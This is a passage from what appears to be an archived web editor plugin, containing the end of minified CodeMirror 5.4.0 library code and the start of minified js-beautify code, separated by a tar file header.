gp+(gj-gm)}gp+=gi-gm;gp+=gn-(gp%gn);gm=gi+1}};function er(gm,gl,gn){for(var go=0,gk=0;;){var gj=gm.indexOf("\t",go);if(gj==-1){gj=gm.length}var gi=gj-go;if(gj==gm.length||gk+gi>=gl){return go+Math.min(gi,gl-gk)}gk+=gj-go;gk+=gn-(gk%gn);go=gj+1;if(gk>=gl){return go}}}var a0=[""];function cq(gi){while(a0.length<=gi){a0.push(fH(a0)+" ")}return a0[gi]}function fH(gi){return gi[gi.length-1]}var dM=function(gi){gi.select()};if(e2){dM=function(gi){gi.selectionStart=0;gi.selectionEnd=gi.value.length}}else{if(dL){dM=function(gj){try{gj.select()}catch(gi){}}}}function di(gk,gi){for(var gj=0;gj<gk.length;++gj){if(gk[gj]==gi){return gj}}return -1}function bT(gl,gk){var gi=[];for(var gj=0;gj<gl.length;gj++){gi[gj]=gk(gl[gj],gj)}return gi}function fV(){}function cl(gk,gi){var gj;if(Object.create){gj=Object.create(gk)}else{fV.prototype=gk;gj=new fV()}if(gi){aN(gi,gj)}return gj}function aN(gk,gj,gi){if(!gj){gj={}}for(var gl in gk){if(gk.hasOwnProperty(gl)&&(gi!==false||!gj.hasOwnProperty(gl))){gj[gl]=gk[gl]}}return gj}function cw(gj){var gi=Array.prototype.slice.call(arguments,1);return function(){return gj.apply(null,gi)}}var bd=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;var fE=H.isWordChar=function(gi){return/\w/.test(gi)||gi>"\x80"&&(gi.toUpperCase()!=gi.toLowerCase()||bd.test(gi))};function cB(gi,gj){if(!gj){return fE(gi)}if(gj.source.indexOf("\\w")>-1&&fE(gi)){return true}return gj.test(gi)}function eV(gi){for(var gj in gi){if(gi.hasOwnProperty(gj)&&gi[gj]){return false}}return true}var eK=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;function fq(gi){return gi.charCodeAt(0)>=768&&eK.test(gi)}function f3(gi,gm,gl,gk){var gn=document.createElement(gi);if(gl){gn.className=gl}if(gk){gn.style.cssText=gk}if(typeof gm=="string"){gn.appendChild(document.createTextNode(gm))}else{if(gm){for(var gj=0;gj<gm.length;++gj){gn.appendChild(gm[gj])}}}return gn}var cm;if(document.createRange){cm=function(gl,gm,gj,gi){var gk=document.createRange();gk.setEnd(gi||gl,gj);gk.setStart(gl,gm);return gk}}else{cm=function(gk,gm,gi){var gj=document.body.createTextRange();try{gj.moveToElementText(gk.parentNode)}catch(gl){return gj}gj.collapse(true);gj.moveEnd("character",gi);gj.moveStart("character",gm);return gj}}function d2(gj){for(var gi=gj.childNodes.length;gi>0;--gi){gj.removeChild(gj.firstChild)}return gj}function bS(gi,gj){return d2(gi).appendChild(gj)}var gb=H.contains=function(gi,gj){if(gj.nodeType==3){gj=gj.parentNode}if(gi.contains){return gi.contains(gj)}do{if(gj.nodeType==11){gj=gj.host}if(gj==gi){return true}}while(gj=gj.parentNode)};function dP(){return document.activeElement}if(dL&&k<11){dP=function(){try{return document.activeElement}catch(gi){return document.body}}}function S(gi){return new RegExp("(^|\\s)"+gi+"(?:$|\\s)\\s*")}var f=H.rmClass=function(gk,gi){var gl=gk.className;var gj=S(gi).exec(gl);if(gj){var gm=gl.slice(gj.index+gj[0].length);gk.className=gl.slice(0,gj.index)+(gm?gj[1]+gm:"")}};var fB=H.addClass=function(gj,gi){var gk=gj.className;if(!S(gi).test(gk)){gj.className+=(gk?" ":"")+gi}};function fT(gk,gi){var gj=gk.split(" ");for(var gl=0;gl<gj.length;gl++){if(gj[gl]&&!S(gj[gl]).test(gi)){gi+=" "+gj[gl]}}return gi}function aA(gl){if(!document.body.getElementsByClassName){return}var gk=document.body.getElementsByClassName("CodeMirror");for(var gj=0;gj<gk.length;gj++){var gi=gk[gj].CodeMirror;if(gi){gl(gi)}}}var cD=false;function bk(){if(cD){return}fF();cD=true}function fF(){var gi;bY(window,"resize",function(){if(gi==null){gi=setTimeout(function(){gi=null;aA(aT)},100)}});bY(window,"blur",function(){aA(aV)})}var eM=function(){if(dL&&k<9){return false}var gi=f3("div");return"draggable" in gi||"dragDrop" in gi}();var fM;function bo(gi){if(fM==null){var gk=f3("span","\u200b");bS(gi,f3("span",[gk,document.createTextNode("x")]));if(gi.firstChild.offsetHeight!=0){fM=gk.offsetWidth<=1&&gk.offsetHeight>2&&!(dL&&k<8)}}var gj=fM?f3("span","\u200b"):f3("span","\u00a0",null,"display: inline-block; width: 1px; margin-right: -1px");gj.setAttribute("cm-text","");return gj}var fL;function bP(gl){if(fL!=null){return fL}var gi=bS(gl,document.createTextNode("A\u062eA"));var gk=cm(gi,0,1).getBoundingClientRect();if(!gk||gk.left==gk.right){return false}var gj=cm(gi,1,2).getBoundingClientRect();return fL=(gj.right-gk.right<3)}var a1=H.splitLines="\n\nb".split(/\n/).length!=3?function(gn){var go=0,gi=[],gm=gn.length;while(go<=gm){var gl=gn.indexOf("\n",go);if(gl==-1){gl=gn.length}var gk=gn.slice(go,gn.charAt(gl-1)=="\r"?gl-1:gl);var gj=gk.indexOf("\r");if(gj!=-1){gi.push(gk.slice(0,gj));go+=gj+1}else{gi.push(gk);go=gl+1}}return gi}:function(gi){return gi.split(/\r\n?|\n/)};var bt=window.getSelection?function(gj){try{return gj.selectionStart!=gj.selectionEnd}catch(gi){return false}}:function(gk){try{var gi=gk.ownerDocument.selection.createRange()}catch(gj){}if(!gi||gi.parentElement()!=gk){return false}return gi.compareEndPoints("StartToEnd",gi)!=0};var db=(function(){var gi=f3("div");if("oncopy" in gi){return true}gi.setAttribute("oncopy","return;");return typeof gi.oncopy=="function"})();var e7=null;function aK(gj){if(e7!=null){return e7}var gk=bS(gj,f3("span","x"));var gl=gk.getBoundingClientRect();var gi=cm(gk,0,1).getBoundingClientRect();return e7=Math.abs(gl.left-gi.left)>1}var fh={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",107:"=",109:"-",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"};H.keyNames=fh;(function(){for(var gi=0;gi<10;gi++){fh[gi+48]=fh[gi+96]=String(gi)}for(var gi=65;gi<=90;gi++){fh[gi]=String.fromCharCode(gi)}for(var gi=1;gi<=12;gi++){fh[gi+111]=fh[gi+63235]="F"+gi}})();function d5(gi,go,gn,gm){if(!gi){return gm(go,gn,"ltr")}var gl=false;for(var gk=0;gk<gi.length;++gk){var gj=gi[gk];if(gj.from<gn&&gj.to>go||go==gn&&gj.to==go){gm(Math.max(gj.from,go),Math.min(gj.to,gn),gj.level==1?"rtl":"ltr");gl=true}}if(!gl){gm(go,gn,"ltr")}}function dz(gi){return gi.level%2?gi.to:gi.from}function ge(gi){return gi.level%2?gi.from:gi.to}function cF(gj){var gi=a(gj);return gi?dz(gi[0]):0}function cT(gj){var gi=a(gj);if(!gi){return gj.text.length}return ge(fH(gi))}function bu(gj,gm){var gk=fg(gj.doc,gm);var gn=y(gk);if(gn!=gk){gm=bO(gn)}var gi=a(gn);var gl=!gi?0:gi[0].level%2?cT(gn):cF(gn);return W(gm,gl)}function dQ(gk,gn){var gj,gl=fg(gk.doc,gn);while(gj=ex(gl)){gl=gj.find(1,true).line;gn=null}var gi=a(gl);var gm=!gi?gl.text.length:gi[0].level%2?cF(gl):cT(gl);return W(gn==null?bO(gl):gn,gm)}function dJ(gj,go){var gn=bu(gj,go.line);var gk=fg(gj.doc,gn.line);var gi=a(gk);if(!gi||gi[0].level==0){var gm=Math.max(0,gk.text.search(/\S/));var gl=go.line==gn.line&&go.ch<=gm&&go.ch;return W(gn.line,gl?0:gm)}return gn}function an(gj,gk,gi){var gl=gj[0].level;if(gk==gl){return true}if(gi==gl){return false}return gk<gi}var e3;function aG(gi,gm){e3=null;for(var gj=0,gk;gj<gi.length;++gj){var gl=gi[gj];if(gl.from<gm&&gl.to>gm){return gj}if((gl.from==gm||gl.to==gm)){if(gk==null){gk=gj}else{if(an(gi,gl.level,gi[gk].level)){if(gl.from!=gl.to){e3=gk}return gj}else{if(gl.from!=gl.to){e3=gj}return gk}}}}return gk}function ff(gi,gl,gj,gk){if(!gk){return gl+gj}do{gl+=gj}while(gl>0&&fq(gi.text.charAt(gl)));return gl}function u(gi,gp,gk,gl){var gm=a(gi);if(!gm){return ai(gi,gp,gk,gl)}var go=aG(gm,gp),gj=gm[go];var gn=ff(gi,gp,gj.level%2?-gk:gk,gl);for(;;){if(gn>gj.from&&gn<gj.to){return gn}if(gn==gj.from||gn==gj.to){if(aG(gm,gn)==go){return gn}gj=gm[go+=gk];return(gk>0)==gj.level%2?gj.to:gj.from}else{gj=gm[go+=gk];if(!gj){return null}if((gk>0)==gj.level%2){gn=ff(gi,gj.to,-1,gl)}else{gn=ff(gi,gj.from,1,gl)}}}}function ai(gi,gm,gj,gk){var gl=gm+gj;if(gk){while(gl>0&&fq(gi.text.charAt(gl))){gl+=gj}}return gl<0||gl>gi.text.length?null:gl}var bi=(function(){var go="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN";var gm="rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm";function gl(gs){if(gs<=247){return go.charAt(gs)}else{if(1424<=gs&&gs<=1524){return"R"}else{if(1536<=gs&&gs<=1773){return gm.charAt(gs-1536)}else{if(1774<=gs&&gs<=2220){return"r"}else{if(8192<=gs&&gs<=8203){return"w"}else{if(gs==8204){return"b"}else{return"L"}}}}}}}var gi=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;var gr=/[stwN]/,gk=/[LRr]/,gj=/[Lb1n]/,gn=/[1n]/;var gq="L";function gp(gu,gt,gs){this.level=gu;this.from=gt;this.to=gs}return function(gC){if(!gi.test(gC)){return false}var gI=gC.length,gy=[];for(var gH=0,gu;gH<gI;++gH){gy.push(gu=gl(gC.charCodeAt(gH)))}for(var gH=0,gB=gq;gH<gI;++gH){var gu=gy[gH];if(gu=="m"){gy[gH]=gB}else{gB=gu}}for(var gH=0,gs=gq;gH<gI;++gH){var gu=gy[gH];if(gu=="1"&&gs=="r"){gy[gH]="n"}else{if(gk.test(gu)){gs=gu;if(gu=="r"){gy[gH]="R"}}}}for(var gH=1,gB=gy[0];gH<gI-1;++gH){var gu=gy[gH];if(gu=="+"&&gB=="1"&&gy[gH+1]=="1"){gy[gH]="1"}else{if(gu==","&&gB==gy[gH+1]&&(gB=="1"||gB=="n")){gy[gH]=gB}}gB=gu}for(var gH=0;gH<gI;++gH){var gu=gy[gH];if(gu==","){gy[gH]="N"}else{if(gu=="%"){for(var gv=gH+1;gv<gI&&gy[gv]=="%";++gv){}var gJ=(gH&&gy[gH-1]=="!")||(gv<gI&&gy[gv]=="1")?"1":"N";for(var gF=gH;gF<gv;++gF){gy[gF]=gJ}gH=gv-1}}}for(var gH=0,gs=gq;gH<gI;++gH){var gu=gy[gH];if(gs=="L"&&gu=="1"){gy[gH]="L"}else{if(gk.test(gu)){gs=gu}}}for(var gH=0;gH<gI;++gH){if(gr.test(gy[gH])){for(var gv=gH+1;gv<gI&&gr.test(gy[gv]);++gv){}var gz=(gH?gy[gH-1]:gq)=="L";var gt=(gv<gI?gy[gv]:gq)=="L";var gJ=gz||gt?"L":"R";for(var gF=gH;gF<gv;++gF){gy[gF]=gJ}gH=gv-1}}var gG=[],gD;for(var gH=0;gH<gI;){if(gj.test(gy[gH])){var gw=gH;for(++gH;gH<gI&&gj.test(gy[gH]);++gH){}gG.push(new gp(0,gw,gH))}else{var gx=gH,gA=gG.length;for(++gH;gH<gI&&gy[gH]!="L";++gH){}for(var gF=gx;gF<gH;){if(gn.test(gy[gF])){if(gx<gF){gG.splice(gA,0,new gp(1,gx,gF))}var gE=gF;for(++gF;gF<gH&&gn.test(gy[gF]);++gF){}gG.splice(gA,0,new gp(2,gE,gF));gx=gF}else{++gF}}if(gx<gH){gG.splice(gA,0,new gp(1,gx,gH))}}}if(gG[0].level==1&&(gD=gC.match(/^\s+/))){gG[0].from=gD[0].length;gG.unshift(new gp(0,0,gD[0].length))}if(fH(gG).level==1&&(gD=gC.match(/\s+$/))){fH(gG).to-=gD[0].length;gG.push(new gp(0,gI-gD[0].length,gI))}if(gG[0].level==2){gG.unshift(new gp(1,gG[0].to,gG[0].to))}if(gG[0].level!=fH(gG).level){gG.push(new gp(gG[0].level,gI,gI))}return gG}})();H.version="5.4.0";return H});                                                                                                                                                                                                                                                                                                                                                                                                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/beautify.min.js                          0000705                 00000111113 15242051521 0023152 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function(){function n(n,t){for(var i=0;i<t.length;i+=1)if(t[i]===n)return!0;return!1}function f(n){return n.replace(/^\s+|\s+$/g,"")}function r(n,t){"use strict";var i=new e(n,t);return i.beautify()}function e(i,r){"use strict";function yt(n,t){var i=0;return n&&(i=n.indentation_level,!l.just_added_newline()&&n.line_indent_level>i&&(i=n.line_indent_level)),{mode:t,parent:n,last_text:n?n.last_text:"",last_word:n?n.last_word:"",declaration_statement:!1,declaration_assignment:!1,multiline_frame:!1,if_block:!1,else_block:!1,do_block:!1,do_while:!1,in_case_statement:!1,in_case:!1,case_body:!1,indentation_level:i,line_indent_level:n?n.line_indent_level:i,start_line_index:l.get_line_number(),ternary_depth:0}}function pt(n){var i=n.newlines,r=c.keep_array_indentation&&d(u.mode),t;if(r)for(t=0;t<i;t+=1)a(t>0);else if(c.max_preserve_newlines&&i>c.max_preserve_newlines&&(i=c.max_preserve_newlines),c.preserve_newlines&&n.newlines>1)for(a(),t=1;t<i;t+=1)a(!0);e=n;at[e.type]()}function bt(n){n=n.replace(/\x0d/g,"");for(var i=[],t=n.indexOf("\n");t!==-1;)i.push(n.substring(0,t)),n=n.substring(t+1),t=n.indexOf("\n");return n.length&&i.push(n),i}function k(n){if(n=n===undefined?!1:n,!l.just_added_newline())if(c.preserve_newlines&&e.wanted_newline||n)a(!1,!0);else if(c.wrap_line_length){var t=l.current_line.get_character_count()+e.text.length+(l.space_before_token?1:0);t>=c.wrap_line_length&&a(!1,!0)}}function a(n,i){if(!i&&u.last_text!==";"&&u.last_text!==","&&u.last_text!=="="&&o!=="TK_OPERATOR")while(u.mode===t.Statement&&!u.if_block&&!u.do_block)b();l.add_new_line(n)&&(u.multiline_frame=!0)}function kt(){if(l.just_added_newline())if(c.keep_array_indentation&&d(u.mode)&&e.wanted_newline){l.current_line.push("");for(var n=0;n<e.whitespace_before.length;n+=1)l.current_line.push(e.whitespace_before[n]);l.space_before_token=!1}else l.add_indent_string(u.indentation_level)&&(u.line_indent_level=u.indentation_level)}function v(n){n=n||e.text;kt();l.add_token(n)}function rt(){u.indentation_level+=1}function dt(){u.indentation_level>0&&(!u.parent||u.indentation_level>u.parent.indentation_level)&&(u.indentation_level-=1)}function nt(n){u?(et.push(u),p=u):p=yt(null,n);u=yt(p,n)}function d(n){return n===t.ArrayLiteral}function ut(i){return n(i,[t.Expression,t.ForInitializer,t.Conditional])}function b(){et.length>0&&(p=u,u=et.pop(),p.mode===t.Statement&&l.remove_redundant_indentation(p))}function ot(){return u.parent.mode===t.ObjectLiteral&&u.mode===t.Statement&&(u.last_text===":"&&u.ternary_depth===0||o==="TK_RESERVED"&&n(u.last_text,["get","set"]))}function tt(){return o==="TK_RESERVED"&&n(u.last_text,["var","let","const"])&&e.type==="TK_WORD"||o==="TK_RESERVED"&&u.last_text==="do"||o==="TK_RESERVED"&&u.last_text==="return"&&!e.wanted_newline||o==="TK_RESERVED"&&u.last_text==="else"&&!(e.type==="TK_RESERVED"&&e.text==="if")||o==="TK_END_EXPR"&&(p.mode===t.ForInitializer||p.mode===t.Conditional)||o==="TK_WORD"&&u.mode===t.BlockStatement&&!u.in_case&&!(e.text==="--"||e.text==="++")&&e.type!=="TK_WORD"&&e.type!=="TK_RESERVED"||u.mode===t.ObjectLiteral&&(u.last_text===":"&&u.ternary_depth===0||o==="TK_RESERVED"&&n(u.last_text,["get","set"]))?(nt(t.Statement),rt(),o==="TK_RESERVED"&&n(u.last_text,["var","let","const"])&&e.type==="TK_WORD"&&(u.declaration_statement=!0),ot()||k(e.type==="TK_RESERVED"&&n(e.text,["do","for","if","while"])),!0):!1}function gt(n,t){for(var r,i=0;i<n.length;i++)if(r=f(n[i]),r.charAt(0)!==t)return!1;return!0}function ni(n,t){for(var i=0,u=n.length,r;i<u;i++)if(r=n[i],r&&r.indexOf(t)!==0)return!1;return!0}function st(t){return n(t,["case","return","do","if","throw","else"])}function ht(n){var t=lt+(n||0);return t<0||t>=ct.length?null:ct[t]}function ti(){tt();var i=t.Expression;if(e.text==="["){if(o==="TK_WORD"||u.last_text===")"){o==="TK_RESERVED"&&n(u.last_text,g.line_starters)&&(l.space_before_token=!0);nt(i);v();rt();c.space_in_paren&&(l.space_before_token=!0);return}i=t.ArrayLiteral;d(u.mode)&&(u.last_text==="["||u.last_text===","&&(w==="]"||w==="}"))&&(c.keep_array_indentation||a())}else o==="TK_RESERVED"&&u.last_text==="for"?i=t.ForInitializer:o==="TK_RESERVED"&&n(u.last_text,["if","while"])&&(i=t.Conditional);u.last_text===";"||o==="TK_START_BLOCK"?a():o==="TK_END_EXPR"||o==="TK_START_EXPR"||o==="TK_END_BLOCK"||u.last_text==="."?k(e.wanted_newline):o==="TK_RESERVED"&&e.text==="("||o==="TK_WORD"||o==="TK_OPERATOR"?o==="TK_RESERVED"&&(u.last_word==="function"||u.last_word==="typeof")||u.last_text==="*"&&w==="function"?c.space_after_anon_function&&(l.space_before_token=!0):o==="TK_RESERVED"&&(n(u.last_text,g.line_starters)||u.last_text==="catch")&&c.space_before_conditional&&(l.space_before_token=!0):l.space_before_token=!0;e.text==="("&&(o==="TK_EQUALS"||o==="TK_OPERATOR")&&(ot()||k());nt(i);v();c.space_in_paren&&(l.space_before_token=!0);rt()}function ii(){while(u.mode===t.Statement)b();u.multiline_frame&&k(e.text==="]"&&d(u.mode)&&!c.keep_array_indentation);c.space_in_paren&&(o!=="TK_START_EXPR"||c.space_in_empty_paren?l.space_before_token=!0:(l.trim(),l.space_before_token=!1));e.text==="]"&&c.keep_array_indentation?(v(),b()):(b(),v());l.remove_redundant_indentation(p);u.do_while&&p.mode===t.Conditional&&(p.mode=t.Expression,u.do_block=!1,u.do_while=!1)}function ri(){var i=ht(1),r=ht(2),f,e;r&&(r.text===":"&&n(i.type,["TK_STRING","TK_WORD","TK_RESERVED"])||n(i.text,["get","set"])&&n(r.type,["TK_WORD","TK_RESERVED"]))?n(w,["class","interface"])?nt(t.BlockStatement):nt(t.ObjectLiteral):nt(t.BlockStatement);f=!i.comments_before.length&&i.text==="}";e=f&&u.last_word==="function"&&o==="TK_END_EXPR";c.brace_style==="expand"?o!=="TK_OPERATOR"&&(e||o==="TK_EQUALS"||o==="TK_RESERVED"&&st(u.last_text)&&u.last_text!=="else")?l.space_before_token=!0:a(!1,!0):o!=="TK_OPERATOR"&&o!=="TK_START_EXPR"?o==="TK_START_BLOCK"?a():l.space_before_token=!0:d(p.mode)&&u.last_text===","&&(w==="}"?l.space_before_token=!0:a());v();rt()}function ui(){while(u.mode===t.Statement)b();var n=o==="TK_START_BLOCK";c.brace_style==="expand"?n||a():n||(d(u.mode)&&c.keep_array_indentation?(c.keep_array_indentation=!1,a(),c.keep_array_indentation=!0):a());b();v()}function wt(){var i,r;if(e.type==="TK_RESERVED"&&u.mode!==t.ObjectLiteral&&n(e.text,["set","get"])&&(e.type="TK_WORD"),e.type==="TK_RESERVED"&&u.mode===t.ObjectLiteral&&(i=ht(1),i.text==":"&&(e.type="TK_WORD")),tt()||!e.wanted_newline||ut(u.mode)||o==="TK_OPERATOR"&&u.last_text!=="--"&&u.last_text!=="++"||o==="TK_EQUALS"||!c.preserve_newlines&&o==="TK_RESERVED"&&n(u.last_text,["var","let","const","set","get"])||a(),u.do_block&&!u.do_while){if(e.type==="TK_RESERVED"&&e.text==="while"){l.space_before_token=!0;v();l.space_before_token=!0;u.do_while=!0;return}a();u.do_block=!1}if(u.if_block)if(u.else_block||e.type!=="TK_RESERVED"||e.text!=="else"){while(u.mode===t.Statement)b();u.if_block=!1;u.else_block=!1}else u.else_block=!0;if(e.type==="TK_RESERVED"&&(e.text==="case"||e.text==="default"&&u.in_case_statement)){a();(u.case_body||c.jslint_happy)&&(dt(),u.case_body=!1);v();u.in_case=!0;u.in_case_statement=!0;return}if(e.type==="TK_RESERVED"&&e.text==="function"&&((n(u.last_text,["}",";"])||l.just_added_newline()&&!n(u.last_text,["[","{",":","=",","]))&&(l.just_added_blankline()||e.comments_before.length||(a(),a(!0))),o==="TK_RESERVED"||o==="TK_WORD"?o==="TK_RESERVED"&&n(u.last_text,["get","set","new","return","export"])?l.space_before_token=!0:o==="TK_RESERVED"&&u.last_text==="default"&&w==="export"?l.space_before_token=!0:a():o==="TK_OPERATOR"||u.last_text==="="?l.space_before_token=!0:!u.multiline_frame&&(ut(u.mode)||d(u.mode))||a()),(o==="TK_COMMA"||o==="TK_START_EXPR"||o==="TK_EQUALS"||o==="TK_OPERATOR")&&(ot()||k()),e.type==="TK_RESERVED"&&n(e.text,["function","get","set"])){v();u.last_word=e.text;return}y="NONE";o==="TK_END_BLOCK"?e.type==="TK_RESERVED"&&n(e.text,["else","catch","finally"])?c.brace_style==="expand"||c.brace_style==="end-expand"?y="NEWLINE":(y="SPACE",l.space_before_token=!0):y="NEWLINE":o==="TK_SEMICOLON"&&u.mode===t.BlockStatement?y="NEWLINE":o==="TK_SEMICOLON"&&ut(u.mode)?y="SPACE":o==="TK_STRING"?y="NEWLINE":o==="TK_RESERVED"||o==="TK_WORD"||u.last_text==="*"&&w==="function"?y="SPACE":o==="TK_START_BLOCK"?y="NEWLINE":o==="TK_END_EXPR"&&(l.space_before_token=!0,y="NEWLINE");e.type==="TK_RESERVED"&&n(e.text,g.line_starters)&&u.last_text!==")"&&(y=u.last_text==="else"||u.last_text==="export"?"SPACE":"NEWLINE");e.type==="TK_RESERVED"&&n(e.text,["else","catch","finally"])?o!=="TK_END_BLOCK"||c.brace_style==="expand"||c.brace_style==="end-expand"?a():(l.trim(!0),r=l.current_line,r.last()!=="}"&&a(),l.space_before_token=!0):y==="NEWLINE"?o==="TK_RESERVED"&&st(u.last_text)?l.space_before_token=!0:o!=="TK_END_EXPR"?o==="TK_START_EXPR"&&e.type==="TK_RESERVED"&&n(e.text,["var","let","const"])||u.last_text===":"||(e.type==="TK_RESERVED"&&e.text==="if"&&u.last_text==="else"?l.space_before_token=!0:a()):e.type==="TK_RESERVED"&&n(e.text,g.line_starters)&&u.last_text!==")"&&a():u.multiline_frame&&d(u.mode)&&u.last_text===","&&w==="}"?a():y==="SPACE"&&(l.space_before_token=!0);v();u.last_word=e.text;e.type==="TK_RESERVED"&&e.text==="do"&&(u.do_block=!0);e.type==="TK_RESERVED"&&e.text==="if"&&(u.if_block=!0)}function fi(){for(tt()&&(l.space_before_token=!1);u.mode===t.Statement&&!u.if_block&&!u.do_block;)b();v()}function ei(){tt()?l.space_before_token=!0:o==="TK_RESERVED"||o==="TK_WORD"?l.space_before_token=!0:o==="TK_COMMA"||o==="TK_START_EXPR"||o==="TK_EQUALS"||o==="TK_OPERATOR"?ot()||k():a();v()}function oi(){tt();u.declaration_statement&&(u.declaration_assignment=!0);l.space_before_token=!0;v();l.space_before_token=!0}function si(){if(u.declaration_statement){ut(u.parent.mode)&&(u.declaration_assignment=!1);v();u.declaration_assignment?(u.declaration_assignment=!1,a(!1,!0)):l.space_before_token=!0;return}v();u.mode===t.ObjectLiteral||u.mode===t.Statement&&u.parent.mode===t.ObjectLiteral?(u.mode===t.Statement&&b(),a()):l.space_before_token=!0}function hi(){if(tt(),o==="TK_RESERVED"&&st(u.last_text)){l.space_before_token=!0;v();return}if(e.text==="*"&&o==="TK_DOT"){v();return}if(e.text===":"&&u.in_case){u.case_body=!0;rt();v();a();u.in_case=!1;return}if(e.text==="::"){v();return}e.wanted_newline&&(e.text==="--"||e.text==="++")&&a(!1,!0);o==="TK_OPERATOR"&&k();var i=!0,r=!0;n(e.text,["--","++","!","~"])||n(e.text,["-","+"])&&(n(o,["TK_START_BLOCK","TK_START_EXPR","TK_EQUALS","TK_OPERATOR"])||n(u.last_text,g.line_starters)||u.last_text===",")?(i=!1,r=!1,u.last_text===";"&&ut(u.mode)&&(i=!0),o==="TK_RESERVED"||o==="TK_END_EXPR"?i=!0:o==="TK_OPERATOR"&&(i=n(e.text,["--","-"])&&n(u.last_text,["--","-"])||n(e.text,["++","+"])&&n(u.last_text,["++","+"])),(u.mode===t.BlockStatement||u.mode===t.Statement)&&(u.last_text==="{"||u.last_text===";")&&a()):e.text===":"?u.ternary_depth===0?i=!1:u.ternary_depth-=1:e.text==="?"?u.ternary_depth+=1:e.text==="*"&&o==="TK_RESERVED"&&u.last_text==="function"&&(i=!1,r=!1);l.space_before_token=l.space_before_token||i;v();l.space_before_token=r}function ci(){var n=bt(e.text),t,i=!1,r=!1,u=e.whitespace_before.join(""),o=u.length;for(a(!1,!0),n.length>1&&(gt(n.slice(1),"*")?i=!0:ni(n.slice(1),u)&&(r=!0)),v(n[0]),t=1;t<n.length;t++)a(!1,!0),i?v(" 